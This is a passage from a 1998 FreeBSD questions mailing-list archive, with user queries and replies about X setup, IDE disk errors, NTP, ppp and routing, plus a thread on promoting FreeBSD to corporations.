I am looking for Beginners FAQ's, As I only = started=20 using FreeBSD last Monday. I have FreeBSD 2.2.5 on a Compaq MediaGX 133. = When I=20 try to start X-Windows using the startx command it tells mesomething = about a=20 Mode not being Set and something about ViewPort ?!? Does anyone have any = ideas.
 
Can someone tell me how I can = subscribe to=20 this list ??
 
Thanx, C-Ya l8r
Ian
------=_NextPart_000_0020_01BD64BC.152DE340-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:14:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA11928 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:14:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from aaka.3skel.com (aaka.3skel.com [207.240.212.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA11901; Fri, 10 Apr 1998 12:14:08 -0700 (PDT) (envelope-from danj@3skel.com) Received: from fnur.3skel.com (fnur.3skel.com [192.168.0.8]) by aaka.3skel.com (8.8.5/8.8.2) with ESMTP id PAA21657; Fri, 10 Apr 1998 15:14:01 -0400 (EDT) Received: from 3skel.com (localhost.3skel.com [127.0.0.1]) by fnur.3skel.com (8.8.5/8.8.2) with ESMTP id PAA26334; Fri, 10 Apr 1998 15:13:56 -0400 (EDT) Message-ID: <352E6F73.8108A12@3skel.com> Date: Fri, 10 Apr 1998 15:13:56 -0400 From: Dan Janowski Organization: Triskelion Systems, Inc. X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: afurman@amf.net CC: freebsd-questions@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: wd0 Kernel Errors References: <19980410043816.14011.rocketmail@send1c.yahoomail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Adam Furman wrote: > I started getting these errors messages in my message log the other > and a 7GIG Maxtor Drive about 3-4 months old. WIth the motherboard > being about 2 1/2 years old. Please send back to my YAHOO and AMF.net > email address. > Thanks > Adam > Apr 8 21:14:11 delsol /kernel: wd0a: wdstart: timeout waiting forDRQ > writing fsbn 131142 of 131136-131151 (wd0 bn 655430; cn 693 tn 8 sn > 41)wd0: status 50 error 0 > Apr 8 21:14:15 delsol /kernel: wd0: interrupt timeout: > Apr 8 21:14:30 delsol /kernel: wd0: status 50 error 0 > Apr 8 21:14:30 delsol /kernel: wd0s1e: wdstart: timeout waiting > forDRQ writing fsbn 65602 of 65600-65615 (wd0s1 bn 794690; cn 840 tn > 14 sn 8)wd0: status 50 error 1 > Apr 8 21:14:30 delsol /kernel: wd0: interrupt timeout: > Apr 8 21:14:45 delsol /kernel: wd0: status 50 error > 1 > Apr 8 21:14:45 delsol /kernel: wd0s1e: wdstart: timeout waiting > forDRQ writing fsbn 65610 of 65600-65615 (wd0s1 bn 794698; cn 840 tn > 14 sn 16)wd0: status 50 error 1 > I have a Maxtor 1.5GB IDE and it, from time to time, displays a similar interrupt time out. I believe it is the drive we are talking about. Get another one. Mine hasn't died yet, but when the message comes up I can here it doing some kind of recal or seek with the head. Dan -- danj@3skel.com Dan Janowski Triskelion Systems, Inc. Bronx, NY To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:14:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA11962 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:14:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from camnetbackup1.camnet.com.kh (camnetbackup1.camnet.com.kh [203.127.100.4]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA11909; Fri, 10 Apr 1998 12:14:11 -0700 (PDT) (envelope-from fred@madtec.com) Received: from nbfred (unverified [203.127.100.53]) by camnetbackup1.camnet.com.kh (EMWAC SMTPRS 0.83) with SMTP id ; Sat, 11 Apr 1998 02:13:57 +0700 Message-ID: <002c01bd64b4$bfe52bc0$35647fcb@nbfred> From: "Fred Muller" To: "David Shanes" , "Jordan K. Hubbard" , "Brett Glass" Cc: , Subject: Re:Your Article "Freeware: The Heart & Soul of the Internet" Date: Sat, 11 Apr 1998 02:13:29 +0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply to what Bret wrote: I'm not psychic.... I just subscribe to the right mailing lists and read a lot. I found out about the Linux events via the "Appraising Microsoft" list on Ralph Nader's essential.org site, for example. [...] I like the idea of scattering FreeBSD CD-ROMs to libraries hither and yon -- and also of having a little guy in a daemon suit at industry events. I think that regular press releases are essential -- as well as publicity on the major Internet news sites. C|Net has a bunch of good reporters who will recognize what's newsworthy; so do TechWeb, The Red Herring, and Wired. I propose that FreeBSD develop a PR team -- perhaps a group of volunteers coordinated by someone who's paid at least part-time. There should be a budget for hiring writers, for mailing, for FAXing, and for a speaker bureau. --Brett--------------------------------------------------------------------- -------------------- Hi, I've been following this discussion since the beginning and I feel like everybody says "well we should do that and this and that.." but nothing really happens (or maybe I'm missing some parts - which might really be possible). So is there anybody in charge? (sorry maybe this is also a stupid question, as I'm really new to FreeBSD) What I mean is that if you plan to do something there should be a coordinator (maybe elections then if any?), plans and of course funds. I think these kinds of battle need full time involvement. Raising fund should not be that difficult : you can sell T-shirts (I think RH does this already) or any kind of cheap items that FreeBSD users would purchase to support this action (anyway if this leads to a FreeBSD market share development, those people would easily get back their "donation" by "selling" their knowledge at a professional level). I don't really see what I can do myself (though I'd really like to help) as I live in South East Asia which is quite far from where things happen. Well that was just another comment to express my questions and feelings about what's happening. If I really said something stupid please forgive me... Fred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:17:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA13380 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:17:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from europe.std.com (europe.std.com [199.172.62.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA13330 for ; Fri, 10 Apr 1998 12:17:16 -0700 (PDT) (envelope-from cambria@world.std.com) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id PAA10621; Fri, 10 Apr 1998 15:17:09 -0400 (EDT) Received: by world.std.com (TheWorld/Spike-2.0) id AA28095; Fri, 10 Apr 1998 15:17:07 -0400 Date: Fri, 10 Apr 1998 15:17:07 -0400 From: cambria@world.std.com (Michael C Cambria) Message-Id: <199804101917.AA28095@world.std.com> To: freebsd-questions@FreeBSD.ORG Subject: Router Discovery using routed(8) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've setup several FreeBSD systems in our lab and am trying to user router discovery via routed. The arguments to routed are -q -t -t -t -T filename I've already setup routed on 2 other FreeBSD machines to act as RIP2 routers (as well as router discovery servers) and they seem to work fine. What I don't understand when testing the route discovery client is why I am seeing sendto(224.0.0.2) "No Route to Host" and sendto(224.0.0.9) "No Route to Host" messages at boot time (as well as at regular intervals after boot.) What I add a default route to rc.conf and reboot, I don't see these messages anymore (even when the default router is to a non-existant gateway.) So it seems that router discover in routed wants a route to exist to 224.0.0.0 Doesn't the need to define a route defeat the purpose of router discovery? Am I missing something? Thanks, MikeC Michael C. Cambria Lucent Technologies Member of Technical Staff Bell Labs Innovations Voice: (978) 287 - 2807 300 Baker Avenue Fax: (978) 287 - 2810 Concord, Massachusetts 01742 Internet: mcambria@lucent.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:35:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA17347 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:35:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ultra.internetland.net (ultra.internetland.net [205.242.230.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA17341 for ; Fri, 10 Apr 1998 12:35:49 -0700 (PDT) (envelope-from farside@iland.net) Received: from farside.iland.net (knob12.internetland.net [205.242.231.12]) by ultra.internetland.net (8.8.7/8.8.7) with SMTP id OAA03937 for ; Fri, 10 Apr 1998 14:28:36 -0500 (CDT) Message-ID: <000701bd64b7$189bd320$0ce7f2cd@farside.iland.net> From: "Jim Hall" To: Subject: Problem Date: Fri, 10 Apr 1998 14:30:03 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD648D.26935CC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD648D.26935CC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable To Whom It May Concern, I am trying to get freebsd but i downloaded the install file that = you are supposed to but up with and that won't fit on a disk. I have = 1.44 meg disks, but they all read 1.38megs. I have friends that have = tried also and had the same problem. Please help me!!!. Thank You ------=_NextPart_000_0004_01BD648D.26935CC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
   To Whom It May Concern,
      I am = trying to=20 get freebsd but i downloaded the install file that you are supposed to = but up=20 with and that won't fit on a disk.  I have 1.44 meg disks, but they = all=20 read 1.38megs.  I have friends that have tried also and had the = same=20 problem. Please help me!!!.
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------=_NextPart_000_0004_01BD648D.26935CC0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:35:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA17398 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:35:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from phoenix.volant.org (phoenix.volant.org [205.179.79.193]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA17340 for ; Fri, 10 Apr 1998 12:35:49 -0700 (PDT) (envelope-from patl@phoenix.volant.org) From: patl@phoenix.volant.org Received: from asimov.phoenix.volant.org [205.179.79.65] by phoenix.volant.org with smtp (Exim 1.62 #1) id 0yNjaX-0003pm-00; Fri, 10 Apr 1998 12:35:49 -0700 Received: from localhost by asimov.phoenix.volant.org (SMI-8.6/SMI-SVR4) id MAA03502; Fri, 10 Apr 1998 12:33:59 -0700 Date: Fri, 10 Apr 1998 12:33:59 -0700 (PDT) Reply-To: patl@phoenix.volant.org Subject: Re: NIST Time Utility To: Bob Webb cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <3D6B6B730CA4D11187CC00805FEAF49E1DCE15@BETHHQMAIL> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Does FreeBSD have a utility written for setting the internal clock to > NIST time using TCP/UDP over the Internet ? > > I did a search and came up empty. Any input would be appreciated. I suspect that what you are looking for is NTP - the Network Time Protocol. FreeBSD supports both xntpd for continuous synchronization and ntpdate for one-time sync. For more information about NTP, see http://www.eecis.udel.edu/~ntp If you have the hostname and/or IP address of an open NTP server, you can set the time by running 'ntpdate ' as root. (An open server is one that accepts connections from any host instead of a limited set.) If you want to keep the clock in sync automatically, you can either run ntpdate automatically in cron, or enable xntpd. Enabling xntpd is a little more work, since you must find a nearby open NTP server, or a closed server that will accept you as a new lower-stratum connection, and properly configure the /etc/ntpd.conf file. For a list of stratum 1 & 2 servers see: http://www.eecis.udel.edu/~mills/ntp/servers.html In either case, you should un-comment the appropriate lines in /etc/rc.conf. (Look for 'ntp'.) If you enable ntpdate in rc.conf, it will sync the date when the system boots. If you enable xntpd, it will keep it in sync. NOTE that you probably do -not- want to enable timed if you are using ntpd. -Pat To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:44:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA18696 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:44:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wi.net (wi.net [204.95.193.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA18591; Fri, 10 Apr 1998 12:43:50 -0700 (PDT) (envelope-from laufen@localhost) Received: from chardonnay.vineyard (207.250.150.33) by wi.net with SMTP (Eudora Internet Mail Server 2.1b5); Fri, 10 Apr 1998 14:43:08 -0500 Received: from localhost (derek@localhost) by chardonnay.vineyard (8.8.7/8.8.7) with SMTP id OAA00332; Fri, 10 Apr 1998 14:45:58 -0500 (CDT) (envelope-from laufen@localhost) Date: Fri, 10 Apr 1998 14:45:58 -0500 (CDT) From: Derek Laufenberg X-Sender: derek@chardonnay.vineyard To: laufen@wi.net cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've been reading this thread and finally decided to throw my .02 cents in. I've been a user of FreeBSD for about 3+ years and have watched the OS grow and improve since 2.0. I selected it over linux because it had to me a more reputable background (4.4BSD). Numerous times I have tried to use the product with in a corporate environment and have gotten shot down by bean counters, marketing weenies, and narrow minded Micro$oft share holders I've worked with. For the record, I was with GE - Medical Systems at the time. Let me review a situation or two. Corporations like GE like the warm and fuzzy feeling of having some other legal entity which they can blame should a problem occur. The mindset is that if support is needed, they can go to the company which sells the OS. Even GE has trouble getting useful support form MSFT, but that doesn't stop the big public agreements which force the use of only their products. The source is available line of argument never seemed to help the support objections. I don't know why, since anytime we incorporated a product into one of our products, we would get a source escrow. I guess the source is hard and takes experts to fix. Beleive or not, I had one of the legal staff tell me that with the name "FreeBSD" we shouldn't use it inside one of our products. It implies an inferior level of technology - clearly, a "you get what you pay for" line of thought. (You should have seen him go over the GPL for some compression code one of my engineers incorporated.) I remember the "whats in a name" thread a few years back. I really wished a new "Marketron"(tm) name would have been selected. "Free" in the coporate world is only good if the customer doesn't know it was free. I did manage to get FreeBSD into one product. It slipped by only because it was for a university research program and would have a limited distribution. (oh yea, the M$FT solution would have cost $1000 more) When our group was force fed PCs for SW development, when our primary tools were Sun/Unix. The "correct" solution was to run xterminal software on the PCs connected to a Sun server. Then two sun servers. Soon six sun servers... We were told to stop using Emacs because it was a resource pig... I brought in my own Freebsd box to show an alternative, but I was told corporate policy prevented users from changing the operating system - or even adding personal software. Yes, Dilbert is a documentary. One valid complaint was made, that was that there were no good tools for working with MS-WORD documents. I still think this is true. I run the StarOffice stuff (not available at the time of this incident) now, but find it very slow and not very compatible. Our system adminstrator made the objection the FreeBSD was insecure and should not be used. His theory was that source code was public so it could be hacked... What I think is needed is the following: 1) A corporate release version of product with - Marketron name - Word, Excel, and Win/NT networking work-a-likes - GUI installed at setup (most corporate admins I've worked with can't handle XF86config files.) - include many office/user packages as part of the install - netscape 2) A support company which charges $$$ for support. - advertising (maybe with enough of this "FreeBSD" name can stay) - (800/900) support number - list of corporate users and the products 3) Stable, predictable releases - Ok, we have this. :) 4) GUI admin tools - adduser, backup, DNS for weenies, ... (i've seen some talk, but they need to be incorporated like AIX or Slowaris) 5) simplified printer setup - GUI I'm sure there are hundreds of other "needs" others can come up with. Thanks for letting me vent a bit. I am truely impressed with the quality of FreeBSD. It has the potential to be a silver bullet, but it needs killer applications - WORD & Excel. ------------------------------------------------------------------ Derek Laufenberg Laufenberg Consulting laufen@wi.net Networking, DICOM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:45:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA19353 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:45:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA19292 for ; Fri, 10 Apr 1998 12:45:22 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id OAA21932; Fri, 10 Apr 1998 14:44:47 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804101944.OAA21932@horton.iaces.com> Subject: Re: shipping To: warzycha@yahoo.com (Peter Warzycha) Date: Fri, 10 Apr 1998 14:44:46 -0500 (CDT) Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <19980410184113.19037.rocketmail@send1c.yahoomail.com> from Peter Warzycha at "Apr 10, 98 11:41:13 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Peter Warzycha said: > > I am currently stationed in Okinawa, Japan with the third marine > division. I am interseted in buying a copy of the latest ver. of BSD > but i noticed for over seas it is take 6-9 weeks ... i do have an > FPO-AP mailing address... i was told that makes a difference for time > of shipping and the cost to ship it... please get bacck to me with all > the info you can supply to me thanks... > > LCpl Warzycha When my brother was over in Okinawa, I believe that sending him stuff was just like sending in the US. That's what the FPO does for you isn't it? You'd have to check directly with Walnut Creek, but as long as they have a US address to send to, it should be US shipping. The military handles the trek from Seattle (San Francisco?) to Japan. -- A chance is what you take before you think about it. A calcu- lated risk is what you take after you have evaluated all pos- sible factors and have determined that risk. - Craig Elliot To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:52:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22479 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:52:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ninbox.ml.org (host77-123.airnet.net [209.64.77.123]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22332 for ; Fri, 10 Apr 1998 12:52:13 -0700 (PDT) (envelope-from kris@ninbox.ml.org) Received: from ninbox.ml.org (localhost [127.0.0.1]) by ninbox.ml.org (8.8.7/8.8.5) with ESMTP id OAA00761 for ; Fri, 10 Apr 1998 14:52:05 -0500 (CDT) Message-ID: <352E7865.E8419E0C@ninbox.ml.org> Date: Fri, 10 Apr 1998 14:52:05 -0500 From: Kris Kirby Reply-To: kris@airnet.net Organization: Absolutely None! X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: Hard errors? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm getting: wd1s2e: hard error reading fsbn 395160 (wd1s2 bn 395160; cn 392 tn 0 sn 24)wd1: status 59 error 40 Am I correct to assume that this is a IDE bad sector? -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 12:52:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22719 for freebsd-questions-outgoing; Fri, 10 Apr 1998 12:52:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cam.grad.kiev.ua (grad-UTC-28k8.ukrtel.net [195.5.25.54]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22574; Fri, 10 Apr 1998 12:52:39 -0700 (PDT) (envelope-from Ruslan@Shevchenko.Kiev.UA) Received: from Shevchenko.Kiev.UA (localhost [127.0.0.1]) by cam.grad.kiev.ua (8.8.8/8.8.5) with ESMTP id WAA29790; Fri, 10 Apr 1998 22:50:51 +0300 (EEST) Message-ID: <352E7819.90A039CA@Shevchenko.Kiev.UA> Date: Fri, 10 Apr 1998 22:50:51 +0300 From: Ruslan Shevchenko Reply-To: rssh@grad.kiev.ua Organization: GlavAPU X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-STABLE i386) MIME-Version: 1.0 To: Derek Laufenberg CC: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Derek Laufenberg wrote: > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > (i've seen some talk, but they need to be incorporated like AIX or > Slowaris) > it means, that base OS must include: 1. X11 2. tk 3. tkperl. 4. local WWW server. Or most of this tools must be rewriteln. -- @= //RSSH mailto:Ruslan@Shevchenko.Kiev.UA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:01:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA25185 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:01:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.calweb.com (mail.calweb.com [208.131.56.12]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA25178; Fri, 10 Apr 1998 13:01:46 -0700 (PDT) (envelope-from notwerk@calweb.com) Received: by mail.calweb.com (8.8.6/8.8.6) with ESMTP id NAA23672; Fri, 10 Apr 1998 13:01:45 -0700 (PDT) X-SMTP: helo web1.calweb.com from notwerk@calweb.com server notwerk@web1.calweb.com ip 208.131.56.51 Received: (from notwerk@localhost) by web1.calweb.com (8.8.5/8.8.5) id NAA27869; Fri, 10 Apr 1998 13:01:44 -0700 (PDT) Message-ID: <19980410130143.40104@calweb.com> Date: Fri, 10 Apr 1998 13:01:43 -0700 From: Giao Nguyen To: Derek Laufenberg Cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Derek Laufenberg on Fri, Apr 10, 1998 at 02:45:58PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Derek Laufenberg said: > > Corporations like GE like the warm and fuzzy feeling of having some other > legal entity which they can blame should a problem occur. The mindset is The really interesting thing is that if you read the Microsoft license agreement, the software is sold as-is. No warrantees expressed or implied. MS isn't responsible for anything that happens when you use their software. So how legally responsible is it if a MS driven missile range crashes and hoses the local neighborhood vs. a FreeBSD driven missle range crashes and hoses all the neighborhoods? Nothing! See, part of the problem is that no one reads these damn licenses. Being a former contract legalese speaking pointy-hair-induvidual, I've read through the MS license. And it doesn't give you jack but the rights to have their intellectual property on your machines. > that if support is needed, they can go to the company which sells the OS. > Even GE has trouble getting useful support form MSFT, but that doesn't > stop the big public agreements which force the use of only their > products. But FreeBSD does have support. Walnut Creek does have support lines for FreeBSD and Linux. Jordan, correct me if I'm wrong. Maybe we need some marketing to say "Oh, and by the way, support if available from Walnut Creek." FreeBSD sells and Walnut Creek picks up the pennies too. > I did manage to get FreeBSD into one product. It slipped by only because > it was for a university research program and would have a limited > distribution. (oh yea, the M$FT solution would have cost $1000 more) A company I was with used FreeBSD to develop Java code that was eventually pushed onto the Windows desktop. I loved it. The ultimate irony. I pay $0 for development tools and sold this project with very little overhead. > What I think is needed is the following: > 1) A corporate release version of product with > - Marketron name I'm all in favor of a marketron name. Like maybe FreeBSD98. Just kidding! > - Word, Excel, and Win/NT networking work-a-likes My pick for this category has always been Applixware. I should point out that most people will never use a Unix on the desktop so this is a moot point. I'd like to see more servers, more services, and stupid OS tricks. > - GUI installed at setup > (most corporate admins I've worked with can't handle > XF86config files.) That's what Xig is for. Select, select, select, run. > - include many office/user packages as part of the install > - netscape > 2) A support company which charges $$$ for support. > - advertising (maybe with enough of this "FreeBSD" name can stay) > - (800/900) support number > - list of corporate users and the products We have a list of corporate users on www.freebsd.org. > 3) Stable, predictable releases - Ok, we have this. :) > 4) GUI admin tools - adduser, backup, DNS for weenies, ... > (i've seen some talk, but they need to be incorporated like AIX or > Slowaris) Not hard. I've got an implementation of adduser running around out there somewhere. I am *cry* without a FreeBSD boxen these days so I haven't a thing to develope with. And in that case, the end users would need Motif or some other nasties. Now, if only we could deliver the JDK on the CD's. I could whip up a ava based set of tools in no time. I don't know if the current JDK license allows Walnut Creek to do this. > 5) simplified printer setup - GUI > > I'm sure there are hundreds of other "needs" others can come up with. > > Thanks for letting me vent a bit. I am truely impressed with the quality > of FreeBSD. It has the potential to be a silver bullet, but it needs > killer applications - WORD & Excel. We don't need no silly Word & Excel. We've got sendmail. :) Giao Nguyen -- If God had meant you to get it right the first time, He would not have put "alter table" into SQL. -- Philip Greenspun, "How to be a Web Whore Just Like Me" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:05:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA26849 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:05:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA26688 for ; Fri, 10 Apr 1998 13:05:35 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id VAA17128; Fri, 10 Apr 1998 21:05:25 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804102005.VAA17128@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: "Michael P. Sale" cc: freebsd-questions@FreeBSD.ORG Subject: Re: PPP frustrations!! In-reply-to: Your message of "Fri, 10 Apr 1998 10:00:42 PDT." <01bd64a2$32235da0$3406bccc@708644668> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 21:05:25 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi all, > > Thanks to all that sent a few things my way. I had managed to get ppp > working to the point where it would place the call and connect using PAP( I > love the ppp.log file). I was still having trouble getting routing working, > but thats the next email. :-) > > So, last night, ppp is connecting and PAP seems to be working fine. After > doing a manual > > # route delete default > > # route add default > > I could ping to my hearts content. (DNS awaits too) > > I get up this morning, ready to tackle routing and DNS and what happens: > > # ppp > User Process PPP. Written by Toshiharu OHNO. > OpenTunnel: Can't find ifindex. > open_tun: No such file or directory [.....] Could you try the ppp on http://www.FreeBSD.org/~brian and see if you have the same problem ? Thanks. > Thanks, > > Mike > > ---------------------------------------------- > Michael P. Sale > MerchantsNet.Com > mike@merchantsnet.com > www.merchantsnet.com > ---------------------------------------------- > "Humility has no equal in the > battle for knowledge" > -- -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 13:19:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29771 for freebsd-questions-outgoing; Fri, 10 Apr 1998 13:19:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hotmail.com (f162.hotmail.com [207.82.251.48]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id NAA29596 for ; Fri, 10 Apr 1998 13:19:09 -0700 (PDT) (envelope-from rebel2000@hotmail.com) Received: (qmail 20203 invoked by uid 0); 10 Apr 1998 20:18:38 -0000 Message-ID: <19980410201838.20202.qmail@hotmail.com> Received: from 205.242.231.32 by www.hotmail.com with HTTP; Fri, 10 Apr 1998 13:18:36 PDT X-Originating-IP: [205.242.231.32] From: "Doug Rebel" To: freebsd-questions@FreeBSD.ORG Subject: Problem Content-Type: text/plain Date: Fri, 10 